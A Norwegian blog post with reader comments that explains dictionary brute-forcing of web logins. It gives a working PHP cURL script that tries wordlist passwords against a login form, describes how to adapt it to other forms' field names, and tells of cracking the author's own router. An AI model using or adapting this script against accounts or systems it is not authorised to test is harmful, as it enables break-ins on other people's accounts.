Hvordan hacke en login?
Det fins en rekke metoder som hackere bruker for å knekke en web applikasjon. Ofte fins det feil i php koden til et nettsted, som gjør det mulig å hente ut passord/brukernavn. Andre ganger fins det feil i selve http serveren. Apache som er en av de mest brukte web serverne, hadde mange feil i tidligere versjoner.
Men den metoden som er aller mest utbredt, er bruteforcing. Det vil si at man prøver å gjette seg fram til riktig passord. Dette tar forferdelig lang tid å gjøre manuelt, men et dataprogram kan gjøre dette kjappt.
Fremgangsmåten for å hacke et passord er følgende:
1. Få tak i et gyldig brukernavn( f.eks. admin)
2. Gjett et passord
3. Sjekk om passordet var riktig, hvis ikke riktig, gå til 2.
4. Passord funnet eller hele ordlisten er ferdig gjennomløpt.
Tidsforsinkelser
Å prøve ett passord kan ta relativt lang tid. La oss si det tar 1 sekund å sjekke et passord. Da kan du sjekke 3600 passord på en time. Jeg vet ikke hvor mange ord det er i norsk, men oppimot 100 000 forskjellige ord?
Da vil de ta 27,7 timer å sjekke alle ordene i ordboken. Ikke bare lager dette et helvetes bråk i loggfilene, men det er ikke sikkert passordet fins i en ordbok.
Mange bruker nemlig passord som hestefot666, museknappvenstre og andeball osv. Hvis passordet inneholder tall, eller store og små bokstaver, blir det helt umulig(mange uker) å bruteforce et passord på lengre enn 3 tegn.
Så bruteforcing av passord på web applikasjoner funker egentlig bare når vedkommende har brukt et ord som fins i ordboken.
Hvordan gjøres det?
I de fleste programmeringsspråk kan man skrive kode som logger inn på et nettsted. Deretter kan koden sjekke respons html koden, om innloggingen var vellykket.
Her er et eksempel på et php script som bruteforcer en login:
<?php
/* Bruteforcer login. Må ha ordliste. */
$user = "admin";
$file = "wordlist.txt";
function crack($user, $pass)
{
$url = "http://localhost/pentest/phplogin.php";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url );
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"user=$user&pass=$pass");
$data = curl_exec($ch);
if(!eregi("failure", $data))
{
echo "\n\n MATCH $pass \n\n";
}
else
{
echo "#";
}
}
$words = file($file);
$i = 0;
while($words[$i])
{
crack($user, trim($words[$i]));
$i++;
}
?>
LES OGSÅ: Hvordan hacke en gjestebok
Her har jeg laget et php login script, der riktig brukernavn er “admin”, og riktig passord er “login”. Dersom riktig kombinasjon er skrevet inn, printes “success” ut. Så når scriptet får en html response som inneholder “success” vet den at passordet var riktig. Og “failure” dersom det var feil.
Her er sjekken:
if(!eregi("failure", $data))
{
echo "\n\n MATCH $pass \n\n";
}
Og passordet printes ut.
Det som står inni her:
curl_setopt($ch, CURLOPT_POSTFIELDS,"user=$user&pass=$pass");
Må matche POST variablene. Så hvis html formen ser slik ut:
<input type="text" name="usr"> <input type="text" name="pw">
Så må koden se slik ut:
curl_setopt($ch, CURLOPT_POSTFIELDS,"usr=$user&pw=$pass");
Router passord knekking?
Jeg prøvde å bruteforce passordet på routeren min. Dette gikk overraskende kjappt. Programmet klarte å sjekke 30 passord i sekundet.
Så hvis du har mistet passordet til routeren og ikke har lyst til å restarte den, prøv å bruteforce passordet.
Til neste innlegg skal jeg lage en video der jeg viser hvordan jeg brutforca meg fram til passordet. Har du problemer med å legge inn php, eller å få koden til å kjøre? Sjekk ut ofte stilte spørsmål i denne teksten: Studweb karaktervarsler



































ehh…skjønte ingenting jeg! Hehe
Metoden er grei, men vis gjerne hvordan man bruker et .php skript.
Artig, men hvor skrives dette scripten inn i? Hvordan får jeg det til å skjekke passord på nettleseren, alltså en webside?